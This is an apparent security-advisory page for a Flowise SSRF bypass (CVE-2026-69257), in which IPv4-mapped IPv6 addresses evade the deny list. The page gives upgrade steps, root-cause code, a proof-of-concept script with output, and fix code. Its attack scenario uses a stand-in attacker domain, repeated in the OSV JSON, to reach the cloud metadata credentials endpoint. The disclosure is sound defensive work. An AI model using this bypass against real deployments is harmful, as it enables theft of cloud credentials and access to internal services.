CVE-2026-69257: Flowise SSRF Protection Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-c6xh-wv4j-ppv5
CWE-918 CWE-1389
Published
Advisory Summary

CVE-2026-69257 is a HIGH ssrf protection bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Flowise libraries in the npm ecosystem. The issue involves ssrf protection bypass via ipv4-mapped ipv6 addresses. Remediation is available by upgrading affected packages to version 3.1.3.

CVE-2026-69257 at a Glance

CVE Identifier CVE-2026-69257
GHSA Identifier GHSA-c6xh-wv4j-ppv5
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-69257

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.3
npm install flowise@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-69257, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Flowise's HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:<target_ipv4>`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost. ## CWE - **CWE-918**: Server-Side Request Forgery (SSRF) - **CWE-1389**: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check) ## Affected Versions - All versions up to and including **v3.1.1** (latest main branch as of 2026-04-03) - This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+) ## Details ### Root Cause The `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison: ```typescript // httpSecurity.ts - isDeniedIP() export function isDeniedIP(ip: string, denyList: string[]): void { const parsedIp = ipaddr.parse(ip); for (const entry of denyList) { if (entry.includes('/')) { try { const [range, _] = entry.split('/') const parsedRange = ipaddr.parse(range) // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4' // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry if (parsedIp.kind() === parsedRange.kind()) { // <-- BYPASS HERE if (parsedIp.match(ipaddr.parseCIDR(entry))) { throw new Error('Access to this host is denied by policy.') } } } catch (error) { throw new Error(`isDeniedIP: ${error}`) } } else if (ip === entry) { throw new Error('Access to this host is denied by policy.') } } } ``` When the resolved IP is an IPv4-mapped IPv6 address like `::ffff:169.254.169.254`: - `ipaddr.parse('::ffff:169.254.169.254').kind()` returns `'ipv6'` - `ipaddr.parse('169.254.169.254').kind()` (from deny list entry) returns `'ipv4'` - `'ipv6' === 'ipv4'` is `false` → **CIDR check is completely skipped** The IPv6 deny list entries (`::1`, `fc00::/7`, `fe80::/10`, `ff00::/8`) do NOT cover the `::ffff:0:0/96` range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules. ### Attack Vector 1. Attacker registers a domain (e.g., `evil.attacker.com`) and sets a **AAAA DNS record** to `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service) 2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to `http://evil.attacker.com/latest/meta-data/` 3. `resolveAndValidate()` calls `dns.lookup('evil.attacker.com', { all: true })` which returns `[{ address: '::ffff:169.254.169.254', family: 6 }]` 4. `isDeniedIP('::ffff:169.254.169.254', denyList)` is called — all IPv4 CIDR entries are skipped due to kind mismatch 5. Request is sent to `169.254.169.254` (AWS metadata service) via the IPv4-mapped IPv6 address ### Affected Endpoints All code paths using the SSRF protection functions are vulnerable: | Function | Usage Count | Affected Components | |----------|:-----------:|-------------------| | `secureAxiosRequest()` | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank | | `secureFetch()` | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool | | `checkDenyList()` | 3+ | MCP Server URL validation, fetch-links service, web scraping | ### Proof of Concept ```javascript // Verify the bypass using ipaddr.js (same library Flowise uses) const ipaddr = require('ipaddr.js'); const denyList = [ '169.254.169.254/16', // Cloud metadata (covered by 169.254.0.0/16 in Flowise) '10.0.0.0/8', // RFC1918 (covered by 10.0.0.0/8 in Flowise) '127.0.0.0/8', // Loopback (covered by 127.0.0.0/8 in Flowise) '172.16.0.0/12', // RFC1918 (covered by 172.16.0.0/12 in Flowise) '192.168.0.0/16', // RFC1918 (covered by 192.168.0.0/16 in Flowise) ]; // Normal IPv4 - correctly blocked const normalIP = ipaddr.parse('169.254.169.254'); console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4' // IPv4-mapped IPv6 - bypasses ALL checks const mappedIP = ipaddr.parse('::ffff:169.254.169.254'); console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6' console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254' // Demonstrate the bypass for (const entry of denyList) { const [range] = entry.split('/'); const parsedRange = ipaddr.parse(range); const kindMatch = mappedIP.kind() === parsedRange.kind(); console.log(`${entry}: kind match = ${kindMatch}`); // ALL false! } // Result: ALL deny list entries are skipped ``` **Attack Scenario (AWS Cloud):** ```bash # 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254) # 2. Attacker creates a chatflow with HTTP Node pointing to: # URL: http://evil.com/latest/meta-data/iam/security-credentials/ # 3. Flowise resolves evil.com -> ::ffff:169.254.169.254 # 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch) # 5. Request reaches AWS IMDS -> Returns IAM role credentials ``` ### Verified PoC Output The following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `ipaddr.js@2.2.0` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic: **Step 1: kind() mismatch confirmed** ``` 169.254.169.254 kind=ipv4 isIPv4Mapped=false ::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true → maps to: 169.254.169.254 127.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 127.0.0.1 10.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 10.0.0.1 192.168.1.1 kind=ipv4 isIPv4Mapped=false ::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true → maps to: 192.168.1.1 172.16.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 172.16.0.1 ``` **Step 2: Normal IPv4 — correctly blocked ✅** ``` 169.254.169.254 → 🔒 BLOCKED (matched: 169.254.169.254) 127.0.0.1 → 🔒 BLOCKED (matched: 127.0.0.0/8) 10.0.0.1 → 🔒 BLOCKED (matched: 10.0.0.0/8) 192.168.1.1 → 🔒 BLOCKED (matched: 192.168.0.0/16) 172.16.0.1 → 🔒 BLOCKED (matched: 172.16.0.0/12) ``` **Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️** ``` ::ffff:169.254.169.254 → ⚠️ ALLOWED (BYPASS!) (real target: 169.254.169.254) ::ffff:127.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 127.0.0.1) ::ffff:10.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 10.0.0.1) ::ffff:192.168.1.1 → ⚠️ ALLOWED (BYPASS!) (real target: 192.168.1.1) ::ffff:172.16.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 172.16.0.1) ``` **Step 4: Root cause — kind mismatch skips CIDR check** ``` Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16 parsedIp.kind() = 'ipv6' parsedRange.kind() = 'ipv4' kind match? = false ← CIDR check is SKIPPED! But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16) ``` **Step 5: Proposed fix — all bypass addresses now blocked ✅** ``` ::ffff:169.254.169.254 → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16) ::ffff:127.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8) ::ffff:10.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8) ::ffff:192.168.1.1 → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16) ::ffff:172.16.0.1 → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12) ``` **Step 6: Attack simulation** ``` Vulnerable isDeniedIP: ⚠️ ALLOWED → Request reaches AWS metadata! Fixed isDeniedIP: 🔒 BLOCKED → Attack prevented! ``` > **Verification environment**: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency `^2.2.0`) > **PoC script**: [poc_ssrf_bypass.js](https://github.com/user-attachments/files/26456899/poc_ssrf_bypass.js) ## Impact | Target | Impact | Severity | |--------|--------|----------| | AWS/GCP/Azure Metadata (`169.254.169.254`) | Steal IAM credentials, service account tokens | Critical | | Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`) | Access internal APIs, databases, admin panels | High | | Localhost (`127.0.0.1`) | Access Flowise's own API with elevated privileges, access co-located services | High | This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) **completely ineffective** against IPv4-mapped IPv6 DNS resolution. ## Remediation ### Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended) ```typescript export function isDeniedIP(ip: string, denyList: string[]): void { let parsedIp = ipaddr.parse(ip); // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) { parsedIp = parsedIp.toIPv4Address(); } for (const entry of denyList) { if (entry.includes('/')) { try { const [range, _] = entry.split('/'); let parsedRange = ipaddr.parse(range); // Also normalize deny list entries if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) { parsedRange = parsedRange.toIPv4Address(); } if (parsedIp.kind() === parsedRange.kind()) { if (parsedIp.match(ipaddr.parseCIDR(entry))) { throw new Error('Access to this host is denied by policy.'); } } } catch (error) { throw new Error(`isDeniedIP: ${error}`); } } else if (ip === entry) { throw new Error('Access to this host is denied by policy.'); } } } ``` ### Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth) Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses: ```typescript const DEFAULT_DENY_LIST = [ // ... existing entries ... '::ffff:0:0/96', // Block ALL IPv4-mapped IPv6 addresses '::ffff:127.0.0.1/128', // Explicit loopback mapped '::ffff:169.254.0.0/112', // Explicit link-local mapped '::ffff:10.0.0.0/104', // Explicit RFC1918 Class A mapped '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped ]; ``` ### Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders) ```typescript async function resolveAndValidate(url: string): Promise<ResolvedTarget> { // ... existing code ... const records = await dns.lookup(hostname, { all: true }); for (const r of records) { let address = r.address; // Normalize IPv4-mapped IPv6 for deny list checking if (ipaddr.isValid(address)) { const parsed = ipaddr.parse(address); if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) { address = parsed.toIPv4Address().toString(); } } isDeniedIP(address, denyList); } // ... rest of code ... } ```

CVE-2026-69257 Affected Flowise Versions

1 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is CVE-2026-69257?
CVE-2026-69257 is a security vulnerability in Flowise involving SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses under CWE-918: Server-Side Request Forgery (SSRF).
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise.
What version fixes CVE-2026-69257?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with CVE-2026-69257?
CVE-2026-69257 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-69257?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c6xh-wv4j-ppv5",
  "modified" : "2026-08-04T15:51:59Z",
  "published" : "2026-08-04T15:51:58Z",
  "aliases" : [ "CVE-2026-69257" ],
  "summary" : "Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses",
  "details" : "## Summary\n\nFlowise's HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:<target_ipv4>`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.\n\n## CWE\n\n- **CWE-918**: Server-Side Request Forgery (SSRF)\n- **CWE-1389**: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)\n\n## Affected Versions\n\n- All versions up to and including **v3.1.1** (latest main branch as of 2026-04-03)\n- This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)\n\n## Details\n\n### Root Cause\n\nThe `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison:\n\n```typescript\n// httpSecurity.ts - isDeniedIP()\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n    const parsedIp = ipaddr.parse(ip);\n    for (const entry of denyList) {\n        if (entry.includes('/')) {\n            try {\n                const [range, _] = entry.split('/')\n                const parsedRange = ipaddr.parse(range)\n                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'\n                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry\n                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE\n                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n                        throw new Error('Access to this host is denied by policy.')\n                    }\n                }\n            } catch (error) {\n                throw new Error(`isDeniedIP: ${error}`)\n            }\n        } else if (ip === entry) {\n            throw new Error('Access to this host is denied by policy.')\n        }\n    }\n}\n```\n\nWhen the resolved IP is an IPv4-mapped IPv6 address like `::ffff:169.254.169.254`:\n- `ipaddr.parse('::ffff:169.254.169.254').kind()` returns `'ipv6'`\n- `ipaddr.parse('169.254.169.254').kind()` (from deny list entry) returns `'ipv4'`\n- `'ipv6' === 'ipv4'` is `false` → **CIDR check is completely skipped**\n\nThe IPv6 deny list entries (`::1`, `fc00::/7`, `fe80::/10`, `ff00::/8`) do NOT cover the `::ffff:0:0/96` range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.\n\n### Attack Vector\n\n1. Attacker registers a domain (e.g., `evil.attacker.com`) and sets a **AAAA DNS record** to `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service)\n2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to `http://evil.attacker.com/latest/meta-data/`\n3. `resolveAndValidate()` calls `dns.lookup('evil.attacker.com', { all: true })` which returns `[{ address: '::ffff:169.254.169.254', family: 6 }]`\n4. `isDeniedIP('::ffff:169.254.169.254', denyList)` is called — all IPv4 CIDR entries are skipped due to kind mismatch\n5. Request is sent to `169.254.169.254` (AWS metadata service) via the IPv4-mapped IPv6 address\n\n### Affected Endpoints\n\nAll code paths using the SSRF protection functions are vulnerable:\n\n| Function | Usage Count | Affected Components |\n|----------|:-----------:|-------------------|\n| `secureAxiosRequest()` | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank |\n| `secureFetch()` | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool |\n| `checkDenyList()` | 3+ | MCP Server URL validation, fetch-links service, web scraping |\n\n### Proof of Concept\n\n```javascript\n// Verify the bypass using ipaddr.js (same library Flowise uses)\nconst ipaddr = require('ipaddr.js');\n\nconst denyList = [\n    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)\n    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)\n    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)\n    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)\n    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)\n];\n\n// Normal IPv4 - correctly blocked\nconst normalIP = ipaddr.parse('169.254.169.254');\nconsole.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'\n\n// IPv4-mapped IPv6 - bypasses ALL checks\nconst mappedIP = ipaddr.parse('::ffff:169.254.169.254');\nconsole.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'\nconsole.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true\nconsole.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'\n\n// Demonstrate the bypass\nfor (const entry of denyList) {\n    const [range] = entry.split('/');\n    const parsedRange = ipaddr.parse(range);\n    const kindMatch = mappedIP.kind() === parsedRange.kind();\n    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!\n}\n// Result: ALL deny list entries are skipped\n```\n\n**Attack Scenario (AWS Cloud):**\n```bash\n# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)\n# 2. Attacker creates a chatflow with HTTP Node pointing to:\n#    URL: http://evil.com/latest/meta-data/iam/security-credentials/\n# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254\n# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)\n# 5. Request reaches AWS IMDS -> Returns IAM role credentials\n```\n\n### Verified PoC Output\n\nThe following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `ipaddr.js@2.2.0` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic:\n\n**Step 1: kind() mismatch confirmed**\n```\n169.254.169.254                kind=ipv4  isIPv4Mapped=false\n::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254\n127.0.0.1                      kind=ipv4  isIPv4Mapped=false\n::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1\n10.0.0.1                       kind=ipv4  isIPv4Mapped=false\n::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1\n192.168.1.1                    kind=ipv4  isIPv4Mapped=false\n::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1\n172.16.0.1                     kind=ipv4  isIPv4Mapped=false\n::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1\n```\n\n**Step 2: Normal IPv4 — correctly blocked ✅**\n```\n169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)\n127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)\n10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)\n192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)\n172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)\n```\n\n**Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️**\n```\n::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)\n::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)\n::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)\n::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)\n::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)\n```\n\n**Step 4: Root cause — kind mismatch skips CIDR check**\n```\nChecking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16\nparsedIp.kind()    = 'ipv6'\nparsedRange.kind() = 'ipv4'\nkind match?        = false ← CIDR check is SKIPPED!\nBut the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)\n```\n\n**Step 5: Proposed fix — all bypass addresses now blocked ✅**\n```\n::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)\n::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)\n::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)\n::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)\n::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)\n```\n\n**Step 6: Attack simulation**\n```\nVulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!\nFixed isDeniedIP:       🔒 BLOCKED → Attack prevented!\n```\n\n> **Verification environment**: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency `^2.2.0`)\n> **PoC script**: [poc_ssrf_bypass.js](https://github.com/user-attachments/files/26456899/poc_ssrf_bypass.js)\n\n\n## Impact\n\n| Target | Impact | Severity |\n|--------|--------|----------|\n| AWS/GCP/Azure Metadata (`169.254.169.254`) | Steal IAM credentials, service account tokens | Critical |\n| Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`) | Access internal APIs, databases, admin panels | High |\n| Localhost (`127.0.0.1`) | Access Flowise's own API with elevated privileges, access co-located services | High |\n\nThis bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) **completely ineffective** against IPv4-mapped IPv6 DNS resolution.\n\n## Remediation\n\n### Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)\n\n```typescript\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n    let parsedIp = ipaddr.parse(ip);\n    \n    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking\n    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {\n        parsedIp = parsedIp.toIPv4Address();\n    }\n    \n    for (const entry of denyList) {\n        if (entry.includes('/')) {\n            try {\n                const [range, _] = entry.split('/');\n                let parsedRange = ipaddr.parse(range);\n                // Also normalize deny list entries\n                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {\n                    parsedRange = parsedRange.toIPv4Address();\n                }\n                if (parsedIp.kind() === parsedRange.kind()) {\n                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n                        throw new Error('Access to this host is denied by policy.');\n                    }\n                }\n            } catch (error) {\n                throw new Error(`isDeniedIP: ${error}`);\n            }\n        } else if (ip === entry) {\n            throw new Error('Access to this host is denied by policy.');\n        }\n    }\n}\n```\n\n### Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth)\n\nAdditionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:\n\n```typescript\nconst DEFAULT_DENY_LIST = [\n    // ... existing entries ...\n    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses\n    '::ffff:127.0.0.1/128', // Explicit loopback mapped\n    '::ffff:169.254.0.0/112', // Explicit link-local mapped  \n    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped\n    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped\n    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped\n];\n```\n\n### Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders)\n\n```typescript\nasync function resolveAndValidate(url: string): Promise<ResolvedTarget> {\n    // ... existing code ...\n    const records = await dns.lookup(hostname, { all: true });\n    for (const r of records) {\n        let address = r.address;\n        // Normalize IPv4-mapped IPv6 for deny list checking\n        if (ipaddr.isValid(address)) {\n            const parsed = ipaddr.parse(address);\n            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {\n                address = parsed.toIPv4Address().toString();\n            }\n        }\n        isDeniedIP(address, denyList);\n    }\n    // ... rest of code ...\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6431"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/0fc769208395641c1411ccdb9c81416e54802155"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1389", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T15:51:58Z",
    "nvd_published_at" : null
  }
}